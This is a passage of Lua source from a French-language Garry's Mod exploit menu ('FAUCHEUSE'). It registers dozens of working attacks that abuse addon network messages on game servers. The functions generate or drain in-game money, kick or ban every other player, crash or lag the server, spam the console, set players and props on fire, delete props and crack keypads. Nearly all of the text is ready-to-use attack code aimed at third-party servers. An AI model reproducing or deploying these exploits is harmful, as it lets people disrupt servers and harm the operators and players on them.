  719. net.WriteDouble(FAUCHEUSE.GetStored( "montant_argent11" ))
  720. net.WriteString("Aie aie, les amendes sa pique ?")
  721. net.SendToServer()
  722. end
  723. end, },
  724. { typ = "func", name = "Spam Envoyer Amende x)", func = function()
  725. if !timer.Exists( "spamamandefine" ) then
  726. FAUCHEUSE.ChatText( "Spam lancé" )
  727. timer.Create( "spamamandefine", 0.1, 0, function()
  728. local t = FAUCHEUSE.GetStored( "l_players_listing_fine", {} )
  729. for k, v in pairs( player.GetAll() ) do
  730. if !table.HasValue( t, v ) then continue end
  731. FAUCHEUSE.NetStart("RP_Fine_Player")
  732. net.WriteString(v:Nick())
  733. net.WriteString(v:Nick())
  734. net.WriteDouble(FAUCHEUSE.GetStored( "montant_argent11" ))
  735. net.WriteString("Aie aie, les amendes sa pique ?")
  736. net.SendToServer()
  737. end
  738. end)
  739. else
  740. timer.Remove( "spamamandefine" )
  741. FAUCHEUSE.ChatText( "Spam stoppé" )
  742. end
  743. end, },
  744. },
  745. } )
  746. FAUCHEUSE.AddExploit( "€ 3D Cardealer €", {
  747. desc = "Exploit d'argent",
  748. severity = 2,
  749. scan = function() return FAUCHEUSE.ValidNetString( "RXCAR_Shop_Store_C2S" ) end,
  750. functions = {
  751. { typ = "func", name = "Dupliquer", func = function()
  752. for i = 0, 75 do
  753. FAUCHEUSE.NetStart( "RXCAR_Shop_Store_C2S" );
  754. net.WriteTable( { E = ent } );
  755. net.SendToServer();
  756. end
  757. end, },
  758. { typ = "func", name = "Tout Vendre", func = function()
  759. local ent
  760. for k,v in pairs(ents.GetAll()) do
  761. if v:GetClass() == "rm_car_dealer" then
  762. ent = v
  763. end
  764. end
  765. for k,v in pairs(RX3DCar_Inventory) do
  766. FAUCHEUSE.NetStart( "RXCAR_SellINVCar_C2S" )
  767. net.WriteTable({UN=v.UniqueID,SE=ent})
  768. net.SendToServer()
  769. end
  770. end, },
  771. },
  772. } )
  773. FAUCHEUSE.AddExploit( "Supprimer Armes / Argent", {
  774. desc = "Supprimer les armes / l'argent de touts le monde",
  775. severity = 3,
  776. scan = function() return FAUCHEUSE.ValidNetString( "drugseffect_remove" ) end,
  777. functions = {
  778. { typ = "func", name = "Supprimer Armes", func = function()
  779. FAUCHEUSE.NetStart("drugseffect_remove")
  780. net.SendToServer()
  781. end, },
  782. { typ = "func", name = "Supprimer Argent", func = function()
  783. FAUCHEUSE.NetStart("drugs_money")
  784. net.SendToServer()
  785. end, },
  786. },
  787. } )
  788. FAUCHEUSE.AddExploit( "€ Crafting Mod €", {
  789. desc = "Exploit d'argent",
  790. severity = 3,
  791. scan = function() return FAUCHEUSE.ValidNetString( "CRAFTINGMOD_SHOP" ) end,
  792. functions = {
  793. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent14" },
  794. { typ = "func", name = "Ajouter Argent", func = function()
  795. FAUCHEUSE.NetStart("CRAFTINGMOD_SHOP")
  796. net.WriteTable({
  797. BUY = -FAUCHEUSE.GetStored( "montant_argent14" );
  798. type = 1
  799. })
  800. net.WriteInt(1,16)
  801. net.SendToServer()
  802. end, },
  803. { typ = "func", name = "Enlever Argent", func = function()
  804. FAUCHEUSE.NetStart("CRAFTINGMOD_SHOP")
  805. net.WriteTable({
  806. BUY = LocalPlayer():getDarkRPVar("money");
  807. type = 1
  808. })
  809. net.WriteInt(1,16)
  810. net.SendToServer()
  811. end, },
  812. },
  813. } )
  814. FAUCHEUSE.AddExploit( "Mettre le Feu", {
  815. desc = "Mettre les props/joueur en feu.",
  816. severity = 3,
  817. scan = function() return FAUCHEUSE.ValidNetString( "drugs_ignite" ) end,
  818. functions = {
  819. { typ = "func", name = "Feux Props", func = function()
  820. FAUCHEUSE.NetStart("drugs_ignite")
  821. net.WriteString("prop_physics")
  822. net.SendToServer()
  823. end, },
  824. { typ = "func", name = "Feux Joueurs", func = function()
  825. FAUCHEUSE.NetStart("drugs_ignite")
  826. net.WriteString("player")
  827. net.SendToServer()
  828. end, },
  829. },
  830. } )
  831. FAUCHEUSE.AddExploit( "Modifier la Vie", {
  832. desc = "Changer la vie des joueurs",
  833. severity = 2,
  834. scan = function() return FAUCHEUSE.ValidNetString( "drugseffect_hpremove" ) end,
  835. functions = {
  836. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100", addr = "montant_argent15" },
  837. { typ = "func", name = "Vie Normal", func = function()
  838. FAUCHEUSE.NetStart("drugseffect_hpremove")
  839. net.WriteString(FAUCHEUSE.GetStored( "montant_argent15" ))
  840. net.SendToServer()
  841. end, },
  842. },
  843. } )
  844. FAUCHEUSE.AddExploit( "Teleportation", {
  845. desc = "Teleporter les joueurs que vous regarder au spawn)",
  846. severity = 2,
  847. scan = function() return FAUCHEUSE.ValidNetString( "DarkRP_Kun_ForceSpawn" ) end,
  848. functions = {
  849. { typ = "func", name = "Teleport", func = function()
  850. FAUCHEUSE.NetStart("DarkRP_Kun_ForceSpawn")
  851. net.SendToServer()
  852. end, },
  853. },
  854. } )
  855. FAUCHEUSE.AddExploit( "Supprimer les props 2", {
  856. desc = "",
  857. severity = 2,
  858. scan = function() return FAUCHEUSE.ValidNetString( "drugs_text" ) end,
  859. functions = {
  860. { typ = "func", name = "Supprimer", func = function()
  861. FAUCHEUSE.NetStart("drugs_text")
  862. net.WriteString("prop_physics")
  863. net.SendToServer()
  864. end, },
  865. },
  866. } )
  867. FAUCHEUSE.AddExploit( "Kick 3", {
  868. desc = "Exploit pour kick tous les joueurs",
  869. severity = 3,
  870. scan = function() return FAUCHEUSE.ValidNetString( "NLRKick" ) end,
  871. functions = {
  872. { typ = "players", addr = "l_players_listing515" },
  873. { typ = "func", name = "Kick", func = function()
  874. local t = FAUCHEUSE.GetStored( "l_players_listing515", {} )
  875. for k, v in pairs( player.GetAll() ) do
  876. if !table.HasValue( t, v ) then continue end
  877. FAUCHEUSE.NetStart("NLRKick")
  878. net.WriteEntity(v)
  879. net.SendToServer()
  880. end
  881. end, },
  882. },
  883. } )
  884. FAUCHEUSE.AddExploit( "Kick 2", {
  885. desc = "Exploit pour kick",
  886. severity = 3,
  887. scan = function() return FAUCHEUSE.ValidNetString( "RecKickAFKer" ) end,
  888. functions = {
  889. { typ = "players", addr = "l_players_listing2545" },
  890. { typ = "func", name = "Kick", func = function()
  891. local t = FAUCHEUSE.GetStored( "l_players_listing2545", {} )
  892. for k, v in pairs( player.GetAll() ) do
  893. if !table.HasValue( t, v ) then continue end
  894. FAUCHEUSE.NetStart("RecKickAFKer")
  895. net.WriteEntity(v)
  896. net.SendToServer()
  897. end
  898. end, },
  899. },
  900. } )
  901. FAUCHEUSE.AddExploit( "Loot Items", {
  902. desc = "Auto-Loot des items",
  903. severity = 2,
  904. scan = function() return FAUCHEUSE.ValidNetString( "GMBG:PickupItem" ) end,
  905. functions = {
  906. { typ = "func", name = "Loot", func = function()
  907. for k, v in pairs(ents.GetAll()) do
  908. if v:GetClass() == "item_loot" then
  909. FAUCHEUSE.NetStart("GMBG:PickupItem")
  910. net.WriteEntity(v)
  911. net.SendToServer()
  912. FAUCHEUSE.NetStart("GMBG:PickupItem")
  913. net.WriteEntity(v)
  914. net.SendToServer()
  915. FAUCHEUSE.NetStart("GMBG:PickupItem")
  916. net.WriteEntity(v)
  917. net.SendToServer()
  918. FAUCHEUSE.NetStart("GMBG:PickupItem")
  919. net.WriteEntity(v)
  920. net.SendToServer()
  921. FAUCHEUSE.NetStart("GMBG:PickupItem")
  922. net.WriteEntity(v)
  923. net.SendToServer()
  924. FAUCHEUSE.NetStart("GMBG:PickupItem")
  925. net.WriteEntity(v)
  926. net.SendToServer()
  927. end
  928. end
  929. end, },
  930. },
  931. } )
  932. FAUCHEUSE.AddExploit( "Kick tout le monde", {
  933. desc = "Exploit pour kick tous les joueurs",
  934. severity = 3,
  935. scan = function() return FAUCHEUSE.ValidNetString( "DL_Answering" ) end,
  936. functions = {
  937. { typ = "func", name = "Kick", func = function()
  938. if !timer.Exists( "kickallnoob" ) then
  939. FAUCHEUSE.ChatText( "Kick tout le monde lancé" )
  940. timer.Create( "kickallnoob", 0.05, 0, function()
  941. for i = 1, 2000 do
  942. FAUCHEUSE.NetStart("DL_Answering")
  943. net.SendToServer()
  944. end
  945. end)
  946. else
  947. timer.Remove( "kickallnoob" )
  948. FAUCHEUSE.ChatText( "Kick tout le monde stoppé" )
  949. end
  950. end, },
  951. },
  952. } )
  953. FAUCHEUSE.AddExploit( "Kick 1", {
  954. desc = "Exploit pour kick les Admins",
  955. severity = 3,
  956. scan = function() return FAUCHEUSE.ValidNetString( "plyWarning" ) end,
  957. functions = {
  958. { typ = "players", addr = "l_players_listing255" },
  959. { typ = "func", name = "Kick", func = function()
  960. local t = FAUCHEUSE.GetStored( "l_players_listing255", {} )
  961. for k, v in pairs( player.GetAll() ) do
  962. if !table.HasValue( t, v ) then continue end
  963. FAUCHEUSE.NetStart('plyWarning')
  964. net.WriteEntity(v)
  965. net.WriteString('You have to select a player before doing a action.')
  966. net.SendToServer()
  967. FAUCHEUSE.ChatText("Tentative de kick sur ".. v:Nick().. "!")
  968. end
  969. end, },
  970. },
  971. } )
  972. FAUCHEUSE.AddExploit( "NLR Freeze", {
  973. desc = "Exploit pour freeze des joueurs",
  974. severity = 3,
  975. scan = function() return FAUCHEUSE.ValidNetString( "NLR.ActionPlayer" ) end,
  976. functions = {
  977. { typ = "players", addr = "l_players_listing45" },
  978. { typ = "func", name = "Freeze", func = function()
  979. local t = FAUCHEUSE.GetStored( "l_players_listing45", {} )
  980. for k, v in pairs( player.GetAll() ) do
  981. if !table.HasValue( t, v ) then continue end
  982. FAUCHEUSE.NetStart("NLR.ActionPlayer")
  983. net.WriteEntity(v)
  984. net.SendToServer()
  985. end
  986. end, },
  987. },
  988. } )
  989. FAUCHEUSE.AddExploit( "Supprimer les props 1", {
  990. desc = "Supprimer touts les props du serveur x)",
  991. severity = 2,
  992. scan = function() return FAUCHEUSE.ValidNetString( "timebombDefuse" ) end,
  993. functions = {
  994. { typ = "func", name = "Supprimer", func = function()
  995. for k,v in pairs(ents.GetAll()) do
  996. FAUCHEUSE.NetStart("timebombDefuse")
  997. net.WriteEntity(v)
  998. net.WriteBool(true)
  999. net.SendToServer()
  1000. end
  1001. end, },
  1002. },
  1003. } )
  1004. FAUCHEUSE.AddExploit( "Hack Keypads", {
  1005. desc = "Cracker les keypads instantanément.",
  1006. severity = 1,
  1007. scan = function() return FAUCHEUSE.ValidNetString( "start_wd_emp" ) end,
  1008. functions = {
  1009. { typ = "func", name = "Hacker", func = function()
  1010. FAUCHEUSE.NetStart("start_wd_emp")
  1011. net.SendToServer()
  1012. end, },
  1013. },
  1014. } )
  1015. FAUCHEUSE.AddExploit( "€ Kart System €", {
  1016. desc = "Exploit d'argent.",
  1017. severity = 3,
  1018. scan = function() return FAUCHEUSE.ValidNetString( "kart_sell" ) end,
  1019. functions = {
  1020. { typ = "func", name = "Lancer", func = function()
  1021. for i=1, 300 do
  1022. FAUCHEUSE.NetStart("kart_sell")
  1023. net.WriteString("sw_gokart")
  1024. net.SendToServer()
  1025. end
  1026. end, },
  1027. },
  1028. } )
  1029. FAUCHEUSE.AddExploit( "€ Farming Mod €", {
  1030. desc = "Exploit d'argent",
  1031. severity = 3,
  1032. scan = function() return FAUCHEUSE.ValidNetString( "FarmingmodSellItems" ) end,
  1033. functions = {
  1034. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent1" },
  1035. { typ = "func", name = "Prendre", func = function()
  1036. FAUCHEUSE.NetStart( "FarmingmodSellItems" )
  1037. net.WriteTable(
  1038. {
  1039. Cost = 10,
  1040. CropModel = "models/props/eryk/garlic.mdl",
  1041. CropType = 2,
  1042. Info = "Garlic Seed",
  1043. Model = "models/props/eryk/seedbag.mdl",
  1044. Name = "Garlic",
  1045. Quality = 4,
  1046. Sell = FAUCHEUSE.GetStored( "montant_argent1" ),
  1047. Type = "Seed"
  1048. }
  1049. )
  1050. net.WriteInt(1,16)
  1051. net.SendToServer()
  1052. end, },
  1053. },
  1054. } )
  1055. FAUCHEUSE.AddExploit( "€ Point Shop €", {
  1056. desc = "Exploit d'argent",
  1057. severity = 3,
  1058. scan = function() return FAUCHEUSE.ValidNetString( "ClickerAddToPoints" ) end,
  1059. functions = {
  1060. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent2" },
  1061. { typ = "func", name = "Prendre", func = function()
  1062. FAUCHEUSE.NetStart("ClickerAddToPoints")
  1063. net.WriteInt(FAUCHEUSE.GetStored( "montant_argent2" ), 32)
  1064. net.SendToServer()
  1065. end, },
  1066. },
  1067. } )
  1068. local PM = 1
  1069. local SK = 1
  1070. local BG = 1
  1071. local HN = 1
  1072. local TS = 1
  1073. local GL = 1
  1074. local LG = 1
  1075. FAUCHEUSE.AddExploit( "Body Groups", {
  1076. desc = "Changer de skin",
  1077. severity = 1,
  1078. scan = function() return FAUCHEUSE.ValidNetString( "bodyman_model_change" ) end,
  1079. functions = {
  1080. { typ = "func", name = "Changer", func = function()
  1081. PlayerModels = {0,1,2,3,4,5,6}
  1082. Torso = {0,1,2,3,4,5,6,7,8,9,10}
  1083. Legs = {0,1,2,3,4,5,6}
  1084. Hands = {0,1,2}
  1085. Glasses = {0,1}
  1086. Skins = {0,1,2,3,4,5,6,7,8,9,10}
  1087. PM = PM+1
  1088. TS = TS+1
  1089. LG = LG+1
  1090. HN = HN+1
  1091. GL = GL+1
  1092. SK = SK+1
  1093. if (PM>#PlayerModels) then PM=1 end
  1094. if (SK>#Skins) then SK=1 end
  1095. if (HN>#Hands) then HN=1 end
  1096. if (TS>#Torso) then TS=1 end
  1097. if (GL>#Glasses) then GL=1 end
  1098. if (LG>#Legs) then LG=1 end
  1099. FAUCHEUSE.NetStart("bodyman_model_change")
  1100. net.WriteInt(PlayerModels[PM], 10 )
  1101. net.SendToServer()
  1102. FAUCHEUSE.NetStart("bodygroups_change")
  1103. net.WriteTable( { 1, Torso[TS] } )
  1104. net.SendToServer()
  1105. FAUCHEUSE.NetStart("bodygroups_change")
  1106. net.WriteTable( { 2, Legs[LG] } )
  1107. net.SendToServer()
  1108. FAUCHEUSE.NetStart("bodygroups_change")
  1109. net.WriteTable( { 3, Hands[HN] } )
  1110. net.SendToServer()
  1111. FAUCHEUSE.NetStart("bodygroups_change")
  1112. net.WriteTable( { 4, Glasses[GL] } )
  1113. net.SendToServer()
  1114. end, },
  1115. },
  1116. } )
  1117. FAUCHEUSE.AddExploit( "€ Hitman X €", {
  1118. desc = "Exploit d'argent",
  1119. severity = 3,
  1120. scan = function() return FAUCHEUSE.ValidNetString( "SendMoney" ) end,
  1121. functions = {
  1122. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent666" },
  1123. { typ = "players", addr = "l_players_list" },
  1124. { typ = "func", name = "Donner", func = function()
  1125. local t = FAUCHEUSE.GetStored( "l_players_list", {} )
  1126. for k, v in pairs( player.GetAll() ) do
  1127. if !table.HasValue( t, v ) then continue end
  1128. hook.Remove( "HUDPaint", "skhdsakjl")
  1129. FAUCHEUSE.NetStart( "SendMoney" )
  1130. net.WriteEntity( v )
  1131. net.WriteEntity( v )
  1132. net.WriteEntity( v )
  1133. net.WriteString( -FAUCHEUSE.GetStored( "montant_argent666" ) )
  1134. net.SendToServer()
  1135. end
  1136. end, },
  1137. { typ = "func", name = "Enlever", func = function()
  1138. hook.Remove( "HUDPaint", "skhdsakjl")
  1139. local t = FAUCHEUSE.GetStored( "l_players_list", {} )
  1140. for k, v in pairs( player.GetAll() ) do
  1141. if !table.HasValue( t, v ) then continue end
  1142. FAUCHEUSE.NetStart( "SendMoney" )
  1143. net.WriteEntity( v )
  1144. net.WriteEntity( v )
  1145. net.WriteEntity( v )
  1146. net.WriteString( FAUCHEUSE.GetStored( "montant_argent666" ) )
  1147. net.SendToServer()
  1148. end
  1149. end, },
  1150. },
  1151. } )
  1152. FAUCHEUSE.AddExploit( "€ Bail Out €", {
  1153. desc = "Exploit d'argent",
  1154. severity = 3,
  1155. scan = function() return FAUCHEUSE.ValidNetString( "BailOut" ) end,
  1156. functions = {
  1157. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent16" },
  1158. { typ = "players", addr = "l_player_liste" },
  1159. { typ = "func", name = "Donner", func = function()
  1160. local t = FAUCHEUSE.GetStored( "l_player_liste", {} )
  1161. for k, v in pairs( player.GetAll() ) do
  1162. if !table.HasValue( t, v ) then continue end
  1163. FAUCHEUSE.NetStart( "BailOut" )
  1164. net.WriteEntity( LocalPlayer() )
  1165. net.WriteEntity( v )
  1166. net.WriteFloat( -FAUCHEUSE.GetStored( "montant_argent16" ) )
  1167. net.SendToServer()
  1168. end
  1169. end, },
  1170. { typ = "func", name = "Enlever", func = function()
  1171. local t = FAUCHEUSE.GetStored( "l_player_liste", {} )
  1172. for k, v in pairs( player.GetAll() ) do
  1173. if !table.HasValue( t, v ) then continue end
  1174. FAUCHEUSE.NetStart( "BailOut" )
  1175. net.WriteEntity( LocalPlayer() )
  1176. net.WriteEntity( v )
  1177. net.WriteFloat( FAUCHEUSE.GetStored( "montant_argent16" ) )
  1178. net.SendToServer()
  1179. end
  1180. end, },
  1181. },
  1182. } )
  1183. FAUCHEUSE.AddExploit( "€ Tow Truck €", {
  1184. desc = "Spawn vehicule dépanneur / Exploit d'argent Regarder le vehicule qui possède une amande",
  1185. severity = 2,
  1186. scan = function() return FAUCHEUSE.ValidNetString( "TOW_SubmitWarning" ) end,
  1187. functions = {
  1188. { typ = "func", name = "Spawn Dépanneuse", func = function()
  1189. FAUCHEUSE.NetStart("TowTruck_CreateTowTruck")
  1190. net.SendToServer()
  1191. end, },
  1192. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent17" },
  1193. { typ = "func", name = "Argent Exploit", func = function()
  1194. for k,v in pairs(ents.GetAll()) do
  1195. FAUCHEUSE.NetStart("TOW_SubmitWarning")
  1196. net.WriteString(LocalPlayer():SteamID())
  1197. net.WriteDouble(-FAUCHEUSE.GetStored( "montant_argent17" ))
  1198. net.WriteEntity(v)
  1199. net.SendToServer()
  1200. FAUCHEUSE.NetStart("TOW_PayTheFine")
  1201. net.WriteEntity(v)
  1202. net.SendToServer()
  1203. end
  1204. end, },
  1205. },
  1206. } )
  1207. FAUCHEUSE.AddExploit( "Fire Truck", {
  1208. desc = "Spawn camion de pompier",
  1209. severity = 1,
  1210. scan = function() return FAUCHEUSE.ValidNetString( "FIRE_CreateFireTruck" ) end,
  1211. functions = {
  1212. { typ = "func", name = "Spawn", func = function()
  1213. FAUCHEUSE.NetStart("FIRE_CreateFireTruck")
  1214. net.SendToServer()
  1215. end, },
  1216. },
  1217. } )
  1218. FAUCHEUSE.AddExploit( "€ Hit Menu €", {
  1219. desc = "Exploit d'argent",
  1220. severity = 3,
  1221. scan = function() return FAUCHEUSE.ValidNetString( "hitcomplete" ) end,
  1222. functions = {
  1223. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent18" },
  1224. { typ = "func", name = "Prendre", func = function()
  1225. FAUCHEUSE.NetStart("hitcomplete")
  1226. net.WriteDouble(FAUCHEUSE.GetStored( "montant_argent18" ))
  1227. net.SendToServer()
  1228. end, },
  1229. },
  1230. } )
  1231. FAUCHEUSE.AddExploit( "€ HHH €", {
  1232. desc = "Exploit d'argent",
  1233. severity = 3,
  1234. scan = function() return FAUCHEUSE.ValidNetString( "hhh_request" ) end,
  1235. functions = {
  1236. { typ = "func", name = "Prendre", func = function()
  1237. local plyhhh = LocalPlayer()
  1238. for k,v in pairs(player.GetAll()) do
  1239. dahater = v
  1240. end
  1241. if dahater != plyhhh then
  1242. local hitRequest = {}
  1243. hitRequest.hitman = plyhhh
  1244. hitRequest.requester = plyhhh
  1245. hitRequest.target = dahater
  1246. hitRequest.reward = -9999999
  1247. FAUCHEUSE.NetStart( 'hhh_request' )
  1248. net.WriteTable( hitRequest )
  1249. net.SendToServer()
  1250. else
  1251. FAUCHEUSE.ChatText( "Cette version de HHH n'est pas exploitable !" )
  1252. end
  1253. end, },
  1254. },
  1255. } )
  1256. FAUCHEUSE.AddExploit( "€ DaHit €", {
  1257. desc = "Exploit d'argent",
  1258. severity = 3,
  1259. scan = function() return FAUCHEUSE.ValidNetString( "DaHit" ) end,
  1260. functions = {
  1261. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent20" },
  1262. { typ = "players", addr = "l_players_listdahit" },
  1263. { typ = "func", name = "Donner", func = function()
  1264. local t = FAUCHEUSE.GetStored( "l_players_listdahit", {} )
  1265. for k, v in pairs( player.GetAll() ) do
  1266. if !table.HasValue( t, v ) then continue end
  1267. hook.Remove( "HUDPaint", "skhdsakjl")
  1268. FAUCHEUSE.NetStart( "DaHit" )
  1269. net.WriteFloat( -FAUCHEUSE.GetStored( "montant_argent20" ) )
  1270. net.WriteEntity( v )
  1271. net.WriteEntity( v )
  1272. net.WriteEntity( v )
  1273. net.SendToServer()
  1274. end
  1275. end, },
  1276. { typ = "func", name = "Enlever", func = function()
  1277. local t = FAUCHEUSE.GetStored( "l_players_listdahit", {} )
  1278. for k, v in pairs( player.GetAll() ) do
  1279. if !table.HasValue( t, v ) then continue end
  1280. hook.Remove( "HUDPaint", "skhdsakjl")
  1281. FAUCHEUSE.NetStart( "DaHit" )
  1282. net.WriteFloat( FAUCHEUSE.GetStored( "montant_argent20" ) )
  1283. net.WriteEntity( v )
  1284. net.WriteEntity( v )
  1285. net.WriteEntity( v )
  1286. net.SendToServer()
  1287. end
  1288. end, },
  1289. { typ = "func", name = "Spam Prendre", func = function()
  1290. if !timer.Exists( "Reaper_exploit_spamdahitprendre" ) then
  1291. FAUCHEUSE.ChatText( "Spam lancé" )
  1292. timer.Create( "Reaper_exploit_spamdahitprendre", 1, 0, function()
  1293. local t = FAUCHEUSE.GetStored( "l_players_listdahit", {} )
  1294. for k, v in pairs( player.GetAll() ) do
  1295. if !table.HasValue( t, v ) then continue end
  1296. hook.Remove( "HUDPaint", "skhdsakjl")
  1297. FAUCHEUSE.NetStart( "DaHit" )
  1298. net.WriteFloat( -FAUCHEUSE.GetStored( "montant_argent20" ) )
  1299. net.WriteEntity( v )
  1300. net.WriteEntity( v )
  1301. net.WriteEntity( v )
  1302. net.SendToServer()
  1303. end
  1304. end)
  1305. else
  1306. timer.Remove( "Reaper_exploit_spamdahitprendre" )
  1307. FAUCHEUSE.ChatText( "Spam stoppé" )
  1308. end
  1309. end, },
  1310. { typ = "func", name = "Spam Enlever", func = function()
  1311. if !timer.Exists( "Reaper_exploit_spamdahitenlever" ) then
  1312. FAUCHEUSE.ChatText( "Spam lancé" )
  1313. timer.Create( "Reaper_exploit_spamdahitenlever", 1, 0, function()
  1314. local t = FAUCHEUSE.GetStored( "l_players_listdahit", {} )
  1315. for k, v in pairs( player.GetAll() ) do
  1316. if !table.HasValue( t, v ) then continue end
  1317. hook.Remove( "HUDPaint", "skhdsakjl")
  1318. FAUCHEUSE.NetStart( "DaHit" )
  1319. net.WriteFloat( FAUCHEUSE.GetStored( "montant_argent20" ) )
  1320. net.WriteEntity( v )
  1321. net.WriteEntity( v )
  1322. net.WriteEntity( v )
  1323. net.SendToServer()
  1324. end
  1325. end)
  1326. else
  1327. timer.Remove( "Reaper_exploit_spamdahitenlever" )
  1328. FAUCHEUSE.ChatText( "Spam stoppé" )
  1329. end
  1330. end, },
  1331. },
  1332. } )
  1333. FAUCHEUSE.AddExploit( "Anti-Printer", {
  1334. desc = "Appliquez des dommages constants aux Printers à proximité",
  1335. severity = 1,
  1336. scan = function() return FAUCHEUSE.ValidNetString( "customprinter_get" ) end,
  1337. functions = {
  1338. { typ = "func", name = "Lancer", func = function()
  1339. if !timer.Exists( "Reaper_exploit_printersmasher" ) then
  1340. FAUCHEUSE.ChatText( "Anti-Printer lancé" )
  1341. timer.Create( "Reaper_exploit_printersmasher", 0, 0, function()
  1342. for k, v in pairs( ents.GetAll() ) do
  1343. if ( v:GetClass():find("print") && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 750 ) then
  1344. FAUCHEUSE.NetStart("customprinter_get")
  1345. net.WriteEntity(v)
  1346. net.WriteString("onoff")
  1347. net.SendToServer()
  1348. end
  1349. end
  1350. end)
  1351. else
  1352. timer.Remove( "Reaper_exploit_printersmasher" )
  1353. FAUCHEUSE.ChatText( "Anti-Printer stoppé" )
  1354. end
  1355. end, },
  1356. },
  1357. } )
  1358. FAUCHEUSE.AddExploit( "Crash le Serveur", {
  1359. desc = "Comme sont nom l'indique niquez moi ce serveur de la",
  1360. severity = 3,
  1361. scan = function() return FAUCHEUSE.ValidNetString( "textstickers_entdata" ) end,
  1362. functions = {
  1363. { typ = "func", name = "Crash", func = function()
  1364. FAUCHEUSE.NetStart( "textstickers_entdata" )
  1365. net.WriteUInt( 0xFFFFFFF, 32 )
  1366. net.SendToServer()
  1367. end, },
  1368. },
  1369. } )
  1370. FAUCHEUSE.AddExploit( "Munition Gratuite", {
  1371. desc = "Vous donne des munitions pour toutes vos armes",
  1372. severity = 1,
  1373. scan = function() return FAUCHEUSE.ValidNetString( "TCBBuyAmmo" ) end,
  1374. functions = {
  1375. { typ = "func", name = "Prendre", func = function()
  1376. for k,v in pairs(GAMEMODE.AmmoTypes) do
  1377. FAUCHEUSE.NetStart("TCBBuyAmmo")
  1378. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  1379. net.SendToServer()
  1380. end
  1381. end, },
  1382. },
  1383. } )
  1384. FAUCHEUSE.AddExploit( "€ Advanced Money Printer €", {
  1385. desc = "Voler tout l'argent des printers",
  1386. severity = 3,
  1387. scan = function() return FAUCHEUSE.ValidNetString( "DataSend" ) end,
  1388. functions = {
  1389. { typ = "func", name = "Prendre", func = function()
  1390. for k, v in pairs( ents.GetAll() ) do
  1391. if v:GetClass() == "adv_moneyprinter" then
  1392. FAUCHEUSE.NetStart("DataSend")
  1393. net.WriteFloat(2)
  1394. net.WriteEntity(v)
  1395. net.WriteEntity(LocalPlayer())
  1396. net.SendToServer()
  1397. end
  1398. end
  1399. end, },
  1400. },
  1401. } )
  1402. FAUCHEUSE.AddExploit( "gBan Ban tout le monde", {
  1403. desc = "Exploit pout bannir tout le monde sauf toi ^^, exploit trouvé dans une ancienne version de gBan",
  1404. severity = 3,
  1405. scan = function() return FAUCHEUSE.ValidNetString( "gBan.BanBuffer" ) end,
  1406. functions = {
  1407. { typ = "func", name = "Lancer", func = function()
  1408. for k,v in pairs(player.GetAll()) do
  1409. if v != LocalPlayer() then
  1410. FAUCHEUSE.NetStart( "gBan.BanBuffer" )
  1411. net.WriteBool( true )
  1412. net.WriteInt( 0, 32 )
  1413. net.WriteString( "Des poutous partout" )
  1414. net.WriteString( v:SteamID() )
  1415. net.SendToServer()
  1416. end
  1417. end
  1418. end, },
  1419. },
  1420. } )
  1421. FAUCHEUSE.AddExploit( "Lag Exploit #1", {
  1422. desc = "L'admin devrait avoir honte de faire payer un VIP.",
  1423. severity = 2,
  1424. scan = function() return FAUCHEUSE.ValidNetString( "ATS_WARP_REMOVE_CLIENT" ) end,
  1425. functions = {
  1426. { typ = "func", name = "Big Lag", func = function()
  1427. if !timer.Exists( "Reaper_exploit_lagsploit1" ) then
  1428. FAUCHEUSE.ChatText( "Lag lancé" )
  1429. timer.Create( "Reaper_exploit_lagsploit1", 0.02, 0, function()
  1430. for k,v in pairs(player.GetAll()) do
  1431. FAUCHEUSE.NetStart( "ATS_WARP_REMOVE_CLIENT" )
  1432. net.WriteEntity( v )
  1433. net.WriteString( "adminroom1" )
  1434. net.SendToServer()
  1435. FAUCHEUSE.NetStart( "ATS_WARP_FROM_CLIENT" )
  1436. net.WriteEntity( v )
  1437. net.WriteString( "adminroom1" )
  1438. net.SendToServer()
  1439. FAUCHEUSE.NetStart( "ATS_WARP_VIEWOWNER" )
  1440. net.WriteEntity( v )
  1441. net.WriteString( "adminroom1" )
  1442. net.SendToServer()
  1443. end
  1444. end)
  1445. else
  1446. timer.Remove( "Reaper_exploit_lagsploit1" )
  1447. FAUCHEUSE.ChatText( "Lag stoppé" )
  1448. end
  1449. end, },
  1450. },
  1451. } )
  1452. FAUCHEUSE.AddExploit( "Console Spam", {
  1453. desc = "Spam la console et peut éventuellement créé des lags",
  1454. severity = 1,
  1455. scan = function() return ULib end,
  1456. functions = {
  1457. { typ = "func", name = "Big Spam", func = function()
  1458. if !timer.Exists( "Reaper_exploit_bigspames2" ) then
  1459. FAUCHEUSE.ChatText( "Spam et lag lancé." )
  1460. timer.Create( "Reaper_exploit_bigspames2", 0, 0, function()
  1461. for i = 1, 200 do
  1462. LocalPlayer():ConCommand( "_u forget your promess forever but sorry you are a friend" )
  1463. end
  1464. end)
  1465. else
  1466. timer.Remove( "Reaper_exploit_bigspames2" )
  1467. FAUCHEUSE.ChatText( "Spam et lag stoppé" )
  1468. end
  1469. end, },
  1470. },
  1471. } )
  1472. FAUCHEUSE.AddExploit( "Keypads Lags", {
  1473. desc = "Clique pour mettre en PLS le serveur!",
  1474. severity = 1,
  1475. scan = function() return FAUCHEUSE.ValidNetString( "Keypad" ) end,
  1476. functions = {
  1477. { typ = "func", name = "Big Lag", func = function()
  1478. if !timer.Exists( "Reaper_exploit_lagsploit4" ) then
  1479. FAUCHEUSE.ChatText( "Lag lancé" )
  1480. timer.Create( "Reaper_exploit_lagsploit4", 0, 0, function()
  1481. for i = 1, 1000 do
  1482. FAUCHEUSE.NetStart("Keypad")
  1483. net.WriteEntity(LocalPlayer())
  1484. net.SendToServer()
  1485. end
  1486. end)
  1487. else
